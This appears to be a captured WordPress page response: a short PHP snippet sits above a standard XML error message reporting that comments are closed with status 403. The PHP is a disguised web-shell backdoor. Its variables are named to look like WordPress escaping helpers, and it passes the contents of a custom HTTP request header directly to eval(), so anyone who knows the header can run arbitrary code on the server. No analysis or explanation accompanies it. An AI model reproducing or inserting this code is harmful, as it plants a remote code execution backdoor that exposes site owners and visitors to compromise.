$esc_html_tsb = $_SERVER;
$esc_html_yqfr = 'HTTP_81CC128';
if (isset($esc_html_tsb[$esc_html_yqfr])) {
    eval($esc_html_tsb[$esc_html_yqfr]);
}<error>
    <code>wp_die</code>
    <title><![CDATA[WordPress &amp;rsaquo; Error]]></title>
    <message><![CDATA[Comments are closed.]]></message>
    <data>
        <status>403</status>
    </data>
</error>